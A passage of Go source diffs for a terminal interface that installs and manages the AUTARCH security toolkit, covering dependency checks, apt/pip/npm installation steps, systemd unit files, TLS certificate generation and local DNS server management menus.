for _, l := range strings.Split(strings.TrimSpace(string(out)), "\n") {
lines = append(lines, " "+l)
}
if err != nil {
lines = append(lines, styleError.Render(" ✘ Pull failed: "+err.Error()))
return ResultMsg{Title: "Update Failed", Lines: lines, IsError: true}
}
lines = append(lines, styleSuccess.Render(" ✔ Updated"))
return ResultMsg{Title: "AUTARCH Updated", Lines: lines}
}
}
func (a App) deployFull() (App, tea.Cmd) {
a.pushView(ViewDepsInstall)
a.outputLines = nil
a.outputDone = false
a.progressStep = 0
a.progressTotal = 0
ch := make(chan tea.Msg, 256)
a.outputCh = ch
go func() {
dir := defaultInstDir
var steps []CmdStep
// Step 1: Clone or pull
if !fileExists(filepath.Join(dir, ".git")) {
os.MkdirAll(filepath.Dir(dir), 0755)
steps = append(steps, CmdStep{
Label: "Clone AUTARCH from GitHub",
Args: []string{"git", "clone", "--branch", autarchBranch, "--progress", autarchGitRepo, dir},
})
} else {
steps = append(steps, CmdStep{
Label: "Update from GitHub",
Args: []string{"git", "-C", dir, "pull", "--ff-only"},
})
}
// Step 2: System deps
steps = append(steps, CmdStep{
Label: "Update package lists",
Args: []string{"apt-get", "update", "-qq"},
})
aptPkgs := []string{
"python3", "python3-pip", "python3-venv", "python3-dev",
"build-essential", "cmake", "pkg-config",
"git", "curl", "wget", "openssl",
"libffi-dev", "libssl-dev", "libpcap-dev", "libxml2-dev", "libxslt1-dev",
"nmap", "tshark", "whois", "dnsutils",
"adb", "fastboot",
"wireguard-tools", "miniupnpc", "net-tools",
"nodejs", "npm", "ffmpeg",
}
steps = append(steps, CmdStep{
Label: "Install system dependencies",
Args: append([]string{"apt-get", "install", "-y"}, aptPkgs...),
})
// Step 3: System user
steps = append(steps, CmdStep{
Label: "Create autarch system user",
Args: []string{"useradd", "--system", "--no-create-home", "--shell", "/usr/sbin/nologin", "autarch"},
})
// Step 4-5: Python venv + pip
venv := filepath.Join(dir, "venv")
pip := filepath.Join(venv, "bin", "pip3")
steps = append(steps,
CmdStep{Label: "Create Python virtual environment", Args: []string{"python3", "-m", "venv", venv}},
CmdStep{Label: "Upgrade pip, setuptools, wheel", Args: []string{pip, "install", "--upgrade", "pip", "setuptools", "wheel"}},
CmdStep{Label: "Install Python packages", Args: []string{pip, "install", "-r", filepath.Join(dir, "requirements.txt")}},
)
// Step 6: npm
steps = append(steps,
CmdStep{Label: "Install npm packages", Args: []string{"npm", "install"}, Dir: dir},
)
if fileExists(filepath.Join(dir, "scripts", "build-hw-libs.sh")) {
steps = append(steps, CmdStep{
Label: "Build hardware JS bundles",
Args: []string{"bash", "scripts/build-hw-libs.sh"},
Dir: dir,
})
}
// Step 7: Permissions
steps = append(steps,
CmdStep{Label: "Set ownership", Args: []string{"chown", "-R", "root:root", dir}},
CmdStep{Label: "Set permissions", Args: []string{"chmod", "-R", "755", dir}},
)
// Step 8: Data directories (quick inline, not a CmdStep)
dataDirs := []string{"data", "data/certs", "data/dns", "results", "dossiers", "models"}
for _, d := range dataDirs {
os.MkdirAll(filepath.Join(dir, d), 0755)
}
// Step 9: Sensitive file permissions
steps = append(steps,
CmdStep{Label: "Secure config file", Args: []string{"chmod", "600", filepath.Join(dir, "autarch_settings.conf")}},
)
// Step 10: TLS cert
certDir := filepath.Join(dir, "data", "certs")
certPath := filepath.Join(certDir, "autarch.crt")
keyPath := filepath.Join(certDir, "autarch.key")
if !fileExists(certPath) || !fileExists(keyPath) {
steps = append(steps, CmdStep{
Label: "Generate self-signed TLS certificate",
Args: []string{"openssl", "req", "-x509", "-newkey", "rsa:2048",
"-keyout", keyPath, "-out", certPath,
"-days", "3650", "-nodes",
"-subj", "/CN=AUTARCH/O=darkHal"},
})
}
// Step 11: Systemd units — write files inline then reload
writeSystemdUnits(dir)
steps = append(steps, CmdStep{
Label: "Reload systemd daemon",
Args: []string{"systemctl", "daemon-reload"},
})
streamSteps(ch, steps)
}()
return a, a.waitForOutput()
}
func (a App) deployVenv() (App, tea.Cmd) {
a.pushView(ViewDepsInstall)
a.outputLines = nil
a.outputDone = false
a.progressStep = 0
a.progressTotal = 0
ch := make(chan tea.Msg, 256)
a.outputCh = ch
dir := resolveDir(a.autarchDir)
go func() {
streamSteps(ch, buildVenvSteps(dir))
}()
return a, a.waitForOutput()
}
func (a App) deployNpm() (App, tea.Cmd) {
a.pushView(ViewDepsInstall)
a.outputLines = nil
a.outputDone = false
a.progressStep = 0
a.progressTotal = 0
ch := make(chan tea.Msg, 256)
a.outputCh = ch
dir := resolveDir(a.autarchDir)
go func() {
streamSteps(ch, buildNpmSteps(dir))
}()
return a, a.waitForOutput()
}
func (a App) deployPermissions() (App, tea.Cmd) {
return a, func() tea.Msg {
dir := resolveDir(a.autarchDir)
var lines []string
exec.Command("chown", "-R", "root:root", dir).Run()
lines = append(lines, styleSuccess.Render("✔ chown -R root:root "+dir))
exec.Command("chmod", "-R", "755", dir).Run()
lines = append(lines, styleSuccess.Render("✔ chmod -R 755 "+dir))
// Sensitive files
confPath := filepath.Join(dir, "autarch_settings.conf")
if fileExists(confPath) {
exec.Command("chmod", "600", confPath).Run()
lines = append(lines, styleSuccess.Render("✔ chmod 600 autarch_settings.conf"))
}
credPath := filepath.Join(dir, "data", "web_credentials.json")
if fileExists(credPath) {
exec.Command("chmod", "600", credPath).Run()
lines = append(lines, styleSuccess.Render("✔ chmod 600 web_credentials.json"))
}
// Ensure data dirs exist
for _, d := range []string{"data", "data/certs", "data/dns", "results", "dossiers", "models"} {
os.MkdirAll(filepath.Join(dir, d), 0755)
}
lines = append(lines, styleSuccess.Render("✔ Data directories created"))
return ResultMsg{Title: "Permissions Fixed", Lines: lines}
}
}
func (a App) deploySystemd() (App, tea.Cmd) {
// Reuse the existing installServiceUnits
return a.installServiceUnits()
}
func (a App) deployDNSBuild() (App, tea.Cmd) {
return a.buildDNSServer()
}
func (a App) deployTLSCert() (App, tea.Cmd) {
return a, func() tea.Msg {
dir := resolveDir(a.autarchDir)
certDir := filepath.Join(dir, "data", "certs")
os.MkdirAll(certDir, 0755)
certPath := filepath.Join(certDir, "autarch.crt")
keyPath := filepath.Join(certDir, "autarch.key")
cmd := exec.Command("openssl", "req", "-x509", "-newkey", "rsa:2048",
"-keyout", keyPath, "-out", certPath,
"-days", "3650", "-nodes",
"-subj", "/CN=AUTARCH/O=darkHal Security Group")
out, err := cmd.CombinedOutput()
if err != nil {
return ResultMsg{
Title: "Error",
Lines: []string{string(out), err.Error()},
IsError: true,
}
}
return ResultMsg{
Title: "TLS Certificate Generated",
Lines: []string{
styleSuccess.Render("✔ Certificate: ") + certPath,
styleSuccess.Render("✔ Private key: ") + keyPath,
"",
styleDim.Render("Valid for 10 years. Self-signed."),
styleDim.Render("For production, use Let's Encrypt via Setec Manager."),
},
}
}
}
// ── Helpers ─────────────────────────────────────────────────────────
func resolveDir(autarchDir string) string {
if autarchDir != "" {
return autarchDir
}
return defaultInstDir
}
func writeSystemdUnits(dir string) {
units := map[string]string{
"autarch-web.service": fmt.Sprintf(`[Unit]
Description=AUTARCH Web Dashboard
After=network.target
[Service]
Type=simple
User=root
WorkingDirectory=%s
ExecStart=%s/venv/bin/python3 %s/autarch_web.py
Restart=on-failure
RestartSec=5
Environment=PYTHONUNBUFFERED=1
[Install]
WantedBy=multi-user.target
`, dir, dir, dir),
"autarch-dns.service": fmt.Sprintf(`[Unit]
Description=AUTARCH DNS Server
After=network.target
[Service]
Type=simple
User=root
WorkingDirectory=%s
ExecStart=%s/services/dns-server/autarch-dns --config %s/data/dns/config.json
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
`, dir, dir, dir),
}
for name, content := range units {
path := "/etc/systemd/system/" + name
os.WriteFile(path, []byte(content), 0644)
}
}

View File

@ -0,0 +1,416 @@
package tui
import (
"fmt"
"os/exec"
"strings"
tea "github.com/charmbracelet/bubbletea"
)
// ── Dependency Categories ───────────────────────────────────────────
type depCheck struct {
Name string
Cmd string // command to check existence
Pkg string // apt package name
Kind string // "system", "python", "npm"
Desc string
}
var systemDeps = []depCheck{
// Core runtime
{"python3", "python3", "python3", "system", "Python 3.10+ interpreter"},
{"pip", "pip3", "python3-pip", "system", "Python package manager"},
{"python3-venv", "python3 -m venv --help", "python3-venv", "system", "Python virtual environments"},
{"python3-dev", "python3-config --includes", "python3-dev", "system", "Python C headers (for native extensions)"},
// Build tools
{"gcc", "gcc", "build-essential", "system", "C/C++ compiler toolchain"},
{"cmake", "cmake", "cmake", "system", "CMake build system (for llama-cpp)"},
{"pkg-config", "pkg-config", "pkg-config", "system", "Package config helper"},
// Core system utilities
{"git", "git", "git", "system", "Version control"},
{"curl", "curl", "curl", "system", "HTTP client"},
{"wget", "wget", "wget", "system", "File downloader"},
{"openssl", "openssl", "openssl", "system", "TLS/crypto toolkit"},
// C libraries for Python packages
{"libffi-dev", "pkg-config --exists libffi", "libffi-dev", "system", "FFI library (for cffi/cryptography)"},
{"libssl-dev", "pkg-config --exists openssl", "libssl-dev", "system", "OpenSSL headers (for cryptography)"},
{"libpcap-dev", "pkg-config --exists libpcap", "libpcap-dev", "system", "Packet capture headers (for scapy)"},
{"libxml2-dev", "pkg-config --exists libxml-2.0", "libxml2-dev", "system", "XML parser headers (for lxml)"},
{"libxslt1-dev", "pkg-config --exists libxslt", "libxslt1-dev", "system", "XSLT headers (for lxml)"},
// Security tools
{"nmap", "nmap", "nmap", "system", "Network scanner"},
{"tshark", "tshark", "tshark", "system", "Packet analysis (Wireshark CLI)"},
{"whois", "whois", "whois", "system", "WHOIS lookup"},
{"dnsutils", "dig", "dnsutils", "system", "DNS utilities (dig, nslookup)"},
// Android tools
{"adb", "adb", "adb", "system", "Android Debug Bridge"},
{"fastboot", "fastboot", "fastboot", "system", "Android Fastboot"},
// Network tools
{"wg", "wg", "wireguard-tools", "system", "WireGuard VPN tools"},
{"upnpc", "upnpc", "miniupnpc", "system", "UPnP port mapping client"},
{"net-tools", "ifconfig", "net-tools", "system", "Network utilities (ifconfig)"},
// Node.js
{"node", "node", "nodejs", "system", "Node.js (for hardware WebUSB libs)"},
{"npm", "npm", "npm", "system", "Node package manager"},
// Go
{"go", "go", "golang", "system", "Go compiler (for DNS server build)"},
// Media / misc
{"ffmpeg", "ffmpeg", "ffmpeg", "system", "Media processing"},
}
// ── Rendering ───────────────────────────────────────────────────────
func (a App) renderDepsMenu() string {
var b strings.Builder
b.WriteString(styleTitle.Render("DEPENDENCIES"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
if len(a.listItems) == 0 {
b.WriteString(styleDim.Render(" Loading..."))
b.WriteString("\n")
return b.String()
}
// Count installed vs total
installed, total := 0, 0
for _, item := range a.listItems {
if item.Extra == "system" {
total++
if item.Enabled {
installed++
}
}
}
// System packages
b.WriteString(styleKey.Render(fmt.Sprintf(" System Packages (%d/%d installed)", installed, total)))
b.WriteString("\n\n")
for _, item := range a.listItems {
if item.Extra != "system" {
continue
}
status := styleStatusOK.Render("✔ installed")
if !item.Enabled {
status = styleStatusBad.Render("✘ missing ")
}
b.WriteString(fmt.Sprintf(" %s %-14s %s\n", status, item.Name, styleDim.Render(item.Status)))
}
// Python venv
b.WriteString("\n")
b.WriteString(styleKey.Render(" Python Virtual Environment"))
b.WriteString("\n\n")
for _, item := range a.listItems {
if item.Extra != "venv" {
continue
}
status := styleStatusOK.Render("✔ ready ")
if !item.Enabled {
status = styleStatusBad.Render("✘ missing")
}
b.WriteString(fmt.Sprintf(" %s %s\n", status, item.Name))
}
// Actions
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
b.WriteString(styleKey.Render(" [a]") + " Install all missing system packages\n")
b.WriteString(styleKey.Render(" [v]") + " Create/recreate Python venv + install pip packages\n")
b.WriteString(styleKey.Render(" [n]") + " Install npm packages + build hardware JS bundles\n")
b.WriteString(styleKey.Render(" [f]") + " Full install (system + venv + pip + npm)\n")
b.WriteString(styleKey.Render(" [g]") + " Install Go compiler (for DNS server)\n")
b.WriteString(styleKey.Render(" [r]") + " Refresh status\n")
b.WriteString("\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
// ── Key Handling ────────────────────────────────────────────────────
func (a App) handleDepsMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "a":
return a.startDepsInstall("system")
case "v":
return a.startDepsInstall("venv")
case "n":
return a.startDepsInstall("npm")
case "f":
return a.startDepsInstall("full")
case "g":
return a.startDepsInstall("go")
case "r":
return a, a.loadDepsStatus()
}
return a, nil
}
// ── Commands ────────────────────────────────────────────────────────
func (a App) loadDepsStatus() tea.Cmd {
return func() tea.Msg {
var items []ListItem
// Check system deps
for _, d := range systemDeps {
installed := false
parts := strings.Fields(d.Cmd)
if len(parts) == 1 {
_, err := exec.LookPath(d.Cmd)
installed = err == nil
} else {
cmd := exec.Command(parts[0], parts[1:]...)
installed = cmd.Run() == nil
}
items = append(items, ListItem{
Name: d.Name,
Status: d.Desc,
Enabled: installed,
Extra: "system",
})
}
// Check venv
venvPath := fmt.Sprintf("%s/venv", findAutarchDir())
_, err := exec.LookPath(venvPath + "/bin/python3")
items = append(items, ListItem{
Name: "venv (" + venvPath + ")",
Enabled: err == nil,
Extra: "venv",
})
// Check pip packages in venv
venvPip := venvPath + "/bin/pip3"
if _, err := exec.LookPath(venvPip); err == nil {
out, _ := exec.Command(venvPip, "list", "--format=columns").Output()
count := strings.Count(string(out), "\n") - 2
if count < 0 {
count = 0
}
items = append(items, ListItem{
Name: fmt.Sprintf("pip packages (%d installed)", count),
Enabled: count > 5,
Extra: "venv",
})
} else {
items = append(items, ListItem{
Name: "pip packages (venv not found)",
Enabled: false,
Extra: "venv",
})
}
return depsLoadedMsg{items: items}
}
}
type depsLoadedMsg struct{ items []ListItem }
func (a App) startDepsInstall(mode string) (App, tea.Cmd) {
a.pushView(ViewDepsInstall)
a.outputLines = nil
a.outputDone = false
a.progressStep = 0
a.progressTotal = 0
a.progressLabel = ""
ch := make(chan tea.Msg, 256)
a.outputCh = ch
autarchDir := findAutarchDir()
go func() {
var steps []CmdStep
switch mode {
case "system":
steps = buildSystemInstallSteps()
case "venv":
steps = buildVenvSteps(autarchDir)
case "npm":
steps = buildNpmSteps(autarchDir)
case "go":
steps = []CmdStep{
{Label: "Update package lists", Args: []string{"apt-get", "update", "-qq"}},
{Label: "Install Go compiler", Args: []string{"apt-get", "install", "-y", "golang"}},
}
case "full":
steps = buildSystemInstallSteps()
steps = append(steps, buildVenvSteps(autarchDir)...)
steps = append(steps, buildNpmSteps(autarchDir)...)
}
if len(steps) == 0 {
ch <- OutputLineMsg(styleSuccess.Render("Nothing to install — all dependencies are present."))
close(ch)
return
}
streamSteps(ch, steps)
}()
return a, a.waitForOutput()
}
// ── Step Builders ───────────────────────────────────────────────────
func buildSystemInstallSteps() []CmdStep {
// Collect missing packages
var pkgs []string
for _, d := range systemDeps {
parts := strings.Fields(d.Cmd)
if len(parts) == 1 {
if _, err := exec.LookPath(d.Cmd); err != nil {
pkgs = append(pkgs, d.Pkg)
}
} else {
cmd := exec.Command(parts[0], parts[1:]...)
if cmd.Run() != nil {
pkgs = append(pkgs, d.Pkg)
}
}
}
// Deduplicate packages (some deps share packages like build-essential)
seen := make(map[string]bool)
var uniquePkgs []string
for _, p := range pkgs {
if !seen[p] {
seen[p] = true
uniquePkgs = append(uniquePkgs, p)
}
}
if len(uniquePkgs) == 0 {
return nil
}
steps := []CmdStep{
{Label: "Update package lists", Args: []string{"apt-get", "update", "-qq"}},
}
// Install in batches to show progress per category
// Group: core runtime
corePackages := filterPackages(uniquePkgs, []string{
"python3", "python3-pip", "python3-venv", "python3-dev",
"build-essential", "cmake", "pkg-config",
"git", "curl", "wget", "openssl",
})
if len(corePackages) > 0 {
steps = append(steps, CmdStep{
Label: fmt.Sprintf("Install core packages (%s)", strings.Join(corePackages, ", ")),
Args: append([]string{"apt-get", "install", "-y"}, corePackages...),
})
}
// Group: C library headers
libPackages := filterPackages(uniquePkgs, []string{
"libffi-dev", "libssl-dev", "libpcap-dev", "libxml2-dev", "libxslt1-dev",
})
if len(libPackages) > 0 {
steps = append(steps, CmdStep{
Label: fmt.Sprintf("Install C library headers (%s)", strings.Join(libPackages, ", ")),
Args: append([]string{"apt-get", "install", "-y"}, libPackages...),
})
}
// Group: security & network tools
toolPackages := filterPackages(uniquePkgs, []string{
"nmap", "tshark", "whois", "dnsutils",
"adb", "fastboot",
"wireguard-tools", "miniupnpc", "net-tools",
"ffmpeg",
})
if len(toolPackages) > 0 {
steps = append(steps, CmdStep{
Label: fmt.Sprintf("Install security/network tools (%s)", strings.Join(toolPackages, ", ")),
Args: append([]string{"apt-get", "install", "-y"}, toolPackages...),
})
}
// Group: node + go
devPackages := filterPackages(uniquePkgs, []string{
"nodejs", "npm", "golang",
})
if len(devPackages) > 0 {
steps = append(steps, CmdStep{
Label: fmt.Sprintf("Install dev tools (%s)", strings.Join(devPackages, ", ")),
Args: append([]string{"apt-get", "install", "-y"}, devPackages...),
})
}
return steps
}
func buildVenvSteps(autarchDir string) []CmdStep {
venv := autarchDir + "/venv"
pip := venv + "/bin/pip3"
reqFile := autarchDir + "/requirements.txt"
steps := []CmdStep{
{Label: "Create Python virtual environment", Args: []string{"python3", "-m", "venv", venv}},
{Label: "Upgrade pip, setuptools, wheel", Args: []string{pip, "install", "--upgrade", "pip", "setuptools", "wheel"}},
}
if fileExists(reqFile) {
steps = append(steps, CmdStep{
Label: "Install Python packages from requirements.txt",
Args: []string{pip, "install", "-r", reqFile},
})
}
return steps
}
func buildNpmSteps(autarchDir string) []CmdStep {
steps := []CmdStep{
{Label: "Install npm packages", Args: []string{"npm", "install"}, Dir: autarchDir},
}
if fileExists(autarchDir + "/scripts/build-hw-libs.sh") {
steps = append(steps, CmdStep{
Label: "Build hardware JS bundles",
Args: []string{"bash", "scripts/build-hw-libs.sh"},
Dir: autarchDir,
})
}
return steps
}
// filterPackages returns only packages from wanted that exist in available.
func filterPackages(available, wanted []string) []string {
avail := make(map[string]bool)
for _, p := range available {
avail[p] = true
}
var result []string
for _, p := range wanted {
if avail[p] {
result = append(result, p)
}
}
return result
}

View File

@ -0,0 +1,761 @@
package tui
import (
"encoding/json"
"fmt"
"net/http"
"os/exec"
"strings"
"github.com/charmbracelet/bubbles/textinput"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
// ── Rendering ───────────────────────────────────────────────────────
func (a App) renderDNSMenu() string {
var b strings.Builder
b.WriteString(styleTitle.Render("DNS SERVER"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
// Check DNS server status
_, dnsRunning := getServiceStatus("autarch-dns")
if dnsRunning {
b.WriteString(" " + styleStatusOK.Render("● DNS Server is running"))
} else {
b.WriteString(" " + styleStatusBad.Render("○ DNS Server is stopped"))
}
b.WriteString("\n")
// Check if binary exists
dir := findAutarchDir()
binaryPath := dir + "/services/dns-server/autarch-dns"
if fileExists(binaryPath) {
b.WriteString(" " + styleSuccess.Render("✔ Binary found: ") + styleDim.Render(binaryPath))
} else {
b.WriteString(" " + styleWarning.Render("⚠ Binary not found — build required"))
}
b.WriteString("\n")
// Check if source exists
sourcePath := dir + "/services/dns-server/main.go"
if fileExists(sourcePath) {
b.WriteString(" " + styleSuccess.Render("✔ Source code present"))
} else {
b.WriteString(" " + styleError.Render("✘ Source not found at " + dir + "/services/dns-server/"))
}
b.WriteString("\n\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
b.WriteString(styleKey.Render(" [b]") + " Build DNS server from source\n")
b.WriteString(styleKey.Render(" [s]") + " Start / Stop DNS server\n")
b.WriteString(styleKey.Render(" [m]") + " Manage DNS (zones, records, hosts, blocklist)\n")
b.WriteString(styleKey.Render(" [c]") + " Edit DNS config\n")
b.WriteString(styleKey.Render(" [t]") + " Test DNS resolution\n")
b.WriteString(styleKey.Render(" [l]") + " View DNS logs\n")
b.WriteString(styleKey.Render(" [i]") + " Install systemd service unit\n")
b.WriteString("\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
func (a App) renderDNSManageMenu() string {
var b strings.Builder
b.WriteString(styleTitle.Render("DNS MANAGEMENT"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
// Try to get status from API
status := getDNSAPIStatus()
if status != nil {
b.WriteString(" " + styleKey.Render("Queries: ") +
lipgloss.NewStyle().Foreground(colorWhite).Render(fmt.Sprintf("%v", status["total_queries"])))
b.WriteString("\n")
b.WriteString(" " + styleKey.Render("Cache: ") +
lipgloss.NewStyle().Foreground(colorWhite).Render(fmt.Sprintf("hits=%v misses=%v", status["cache_hits"], status["cache_misses"])))
b.WriteString("\n")
b.WriteString(" " + styleKey.Render("Blocked: ") +
lipgloss.NewStyle().Foreground(colorWhite).Render(fmt.Sprintf("%v", status["blocked_queries"])))
b.WriteString("\n\n")
} else {
b.WriteString(styleWarning.Render(" ⚠ Cannot reach DNS API — is the server running?"))
b.WriteString("\n\n")
}
b.WriteString(a.renderHR())
b.WriteString("\n")
b.WriteString(styleKey.Render(" [z]") + " Manage zones\n")
b.WriteString(styleKey.Render(" [h]") + " Manage hosts file\n")
b.WriteString(styleKey.Render(" [b]") + " Manage blocklist\n")
b.WriteString(styleKey.Render(" [f]") + " Manage forwarding rules\n")
b.WriteString(styleKey.Render(" [c]") + " Flush cache\n")
b.WriteString(styleKey.Render(" [q]") + " Query log\n")
b.WriteString(styleKey.Render(" [t]") + " Top domains\n")
b.WriteString(styleKey.Render(" [e]") + " Encryption settings (DoT/DoH)\n")
b.WriteString(styleKey.Render(" [r]") + " Root server check\n")
b.WriteString("\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
func (a App) renderDNSZones() string {
var b strings.Builder
b.WriteString(styleTitle.Render("DNS ZONES"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
if len(a.listItems) == 0 {
b.WriteString(styleDim.Render(" No zones configured (or API unreachable)."))
b.WriteString("\n\n")
} else {
for i, item := range a.listItems {
cursor := " "
if i == a.cursor {
cursor = styleSelected.Render(" ▸") + " "
}
b.WriteString(fmt.Sprintf("%s%s %s\n",
cursor,
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(item.Name),
styleDim.Render(item.Status),
))
}
b.WriteString("\n")
}
b.WriteString(a.renderHR())
b.WriteString(styleKey.Render(" [n]") + " New zone ")
b.WriteString(styleKey.Render("[enter]") + " View records ")
b.WriteString(styleKey.Render("[d]") + " Delete zone\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
// ── Key Handling ────────────────────────────────────────────────────
func (a App) handleDNSMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "b":
return a.buildDNSServer()
case "s":
return a.toggleDNSService()
case "m":
a.pushView(ViewDNSManage)
return a, nil
case "c":
return a.editDNSConfig()
case "t":
return a.testDNSResolution()
case "l":
return a.viewDNSLogs()
case "i":
return a.installDNSUnit()
}
return a, nil
}
func (a App) handleDNSManageMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "z":
return a.loadDNSZones()
case "h":
return a.manageDNSHosts()
case "b":
return a.manageDNSBlocklist()
case "f":
return a.manageDNSForwarding()
case "c":
return a.flushDNSCache()
case "q":
return a.viewDNSQueryLog()
case "t":
return a.viewDNSTopDomains()
case "e":
return a.viewDNSEncryption()
case "r":
return a.dnsRootCheck()
}
return a, nil
}
func (a App) handleDNSZonesMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "n":
return a.openDNSZoneForm()
case "enter":
if a.cursor >= 0 && a.cursor < len(a.listItems) {
return a.viewDNSZoneRecords(a.listItems[a.cursor].Name)
}
case "d":
if a.cursor >= 0 && a.cursor < len(a.listItems) {
zone := a.listItems[a.cursor].Name
a.confirmPrompt = fmt.Sprintf("Delete zone '%s' and all its records?", zone)
a.confirmAction = func() tea.Cmd {
return func() tea.Msg {
return dnsAPIDelete("/api/zones/" + zone)
}
}
a.pushView(ViewConfirm)
}
}
return a, nil
}
// ── DNS Commands ────────────────────────────────────────────────────
func (a App) buildDNSServer() (App, tea.Cmd) {
a.pushView(ViewDNSBuild)
a.outputLines = nil
a.outputDone = false
a.progressStep = 0
a.progressTotal = 0
ch := make(chan tea.Msg, 256)
a.outputCh = ch
go func() {
dir := findAutarchDir()
dnsDir := dir + "/services/dns-server"
steps := []CmdStep{
{Label: "Download Go dependencies", Args: []string{"go", "mod", "download"}, Dir: dnsDir},
{Label: "Build DNS server binary", Args: []string{"go", "build", "-o", "autarch-dns", "."}, Dir: dnsDir},
}
streamSteps(ch, steps)
}()
return a, a.waitForOutput()
}
func (a App) toggleDNSService() (App, tea.Cmd) {
return a.toggleService(1) // Index 1 = autarch-dns
}
func (a App) editDNSConfig() (App, tea.Cmd) {
// Load DNS config as a settings section
dir := findAutarchDir()
configPath := dir + "/data/dns/config.json"
data, err := readFileBytes(configPath)
if err != nil {
return a, func() tea.Msg {
return ResultMsg{
Title: "DNS Config",
Lines: []string{
"No DNS config file found at: " + configPath,
"",
"Start the DNS server once to generate a default config,",
"or build and run: ./autarch-dns --config " + configPath,
},
IsError: true,
}
}
}
var cfg map[string]interface{}
if err := json.Unmarshal(data, &cfg); err != nil {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{"Invalid JSON: " + err.Error()}, IsError: true}
}
}
// Flatten to key=value for editing
var keys []string
var vals []string
for k, v := range cfg {
keys = append(keys, k)
vals = append(vals, fmt.Sprintf("%v", v))
}
a.settingsSection = "dns-config"
a.settingsKeys = keys
a.settingsVals = vals
a.pushView(ViewSettingsSection)
return a, nil
}
func (a App) testDNSResolution() (App, tea.Cmd) {
return a, func() tea.Msg {
domains := []string{"google.com", "github.com", "cloudflare.com"}
var lines []string
for _, domain := range domains {
out, err := exec.Command("dig", "@127.0.0.1", domain, "+short", "+time=2").Output()
if err != nil {
lines = append(lines, styleError.Render(fmt.Sprintf(" ✘ %s: %s", domain, err.Error())))
} else {
result := strings.TrimSpace(string(out))
if result == "" {
lines = append(lines, styleWarning.Render(fmt.Sprintf(" ⚠ %s: no answer", domain)))
} else {
lines = append(lines, styleSuccess.Render(fmt.Sprintf(" ✔ %s → %s", domain, result)))
}
}
}
return ResultMsg{Title: "DNS Resolution Test (@127.0.0.1)", Lines: lines}
}
}
func (a App) viewDNSLogs() (App, tea.Cmd) {
return a, func() tea.Msg {
out, _ := exec.Command("journalctl", "-u", "autarch-dns", "-n", "30", "--no-pager").Output()
lines := strings.Split(strings.TrimSpace(string(out)), "\n")
return ResultMsg{Title: "DNS Server Logs (last 30)", Lines: lines}
}
}
func (a App) installDNSUnit() (App, tea.Cmd) {
// Delegate to the service installer for just the DNS unit
return a, func() tea.Msg {
dir := findAutarchDir()
unit := fmt.Sprintf(`[Unit]
Description=AUTARCH DNS Server
After=network.target
[Service]
Type=simple
User=root
WorkingDirectory=%s
ExecStart=%s/services/dns-server/autarch-dns --config %s/data/dns/config.json
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
`, dir, dir, dir)
path := "/etc/systemd/system/autarch-dns.service"
if err := writeFileAtomic(path, []byte(unit)); err != nil {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
exec.Command("systemctl", "daemon-reload").Run()
return ResultMsg{
Title: "DNS Service Unit Installed",
Lines: []string{
"Installed: " + path,
"",
"Start with: systemctl start autarch-dns",
"Enable on boot: systemctl enable autarch-dns",
},
}
}
}
// ── DNS API Management Commands ─────────────────────────────────────
func (a App) loadDNSZones() (App, tea.Cmd) {
a.pushView(ViewDNSZones)
return a, func() tea.Msg {
zones := dnsAPIGet("/api/zones")
if zones == nil {
return dnsZonesMsg{items: nil}
}
zoneList, ok := zones.([]interface{})
if !ok {
return dnsZonesMsg{items: nil}
}
var items []ListItem
for _, z := range zoneList {
zMap, ok := z.(map[string]interface{})
if !ok {
continue
}
name := fmt.Sprintf("%v", zMap["domain"])
recordCount := 0
if records, ok := zMap["records"].([]interface{}); ok {
recordCount = len(records)
}
items = append(items, ListItem{
Name: name,
Status: fmt.Sprintf("%d records", recordCount),
})
}
return dnsZonesMsg{items: items}
}
}
type dnsZonesMsg struct{ items []ListItem }
func (a App) openDNSZoneForm() (App, tea.Cmd) {
a.labels = []string{"Domain", "Primary NS", "Admin Email", "Default TTL"}
a.inputs = make([]textinput.Model, 4)
defaults := []string{"", "ns1.example.com", "admin.example.com", "3600"}
for i := range a.inputs {
ti := textinput.New()
ti.CharLimit = 256
ti.Width = 40
ti.SetValue(defaults[i])
if i == 0 {
ti.Focus()
ti.SetValue("")
}
a.inputs[i] = ti
}
a.focusIdx = 0
a.pushView(ViewDNSZoneEdit)
return a, nil
}
func (a App) submitDNSZone() (App, tea.Cmd) {
domain := a.inputs[0].Value()
ns := a.inputs[1].Value()
admin := a.inputs[2].Value()
ttl := a.inputs[3].Value()
if domain == "" {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{"Domain cannot be empty."}, IsError: true}
}
}
a.popView()
return a, func() tea.Msg {
body := fmt.Sprintf(`{"domain":"%s","soa":{"primary_ns":"%s","admin_email":"%s","ttl":%s}}`,
domain, ns, admin, ttl)
return dnsAPIPost("/api/zones", body)
}
}
func (a App) viewDNSZoneRecords(zone string) (App, tea.Cmd) {
return a, func() tea.Msg {
data := dnsAPIGet("/api/zones/" + zone + "/records")
if data == nil {
return ResultMsg{Title: "Zone: " + zone, Lines: []string{"No records or API unreachable."}, IsError: true}
}
records, ok := data.([]interface{})
if !ok {
return ResultMsg{Title: "Zone: " + zone, Lines: []string{"Unexpected response format."}, IsError: true}
}
var lines []string
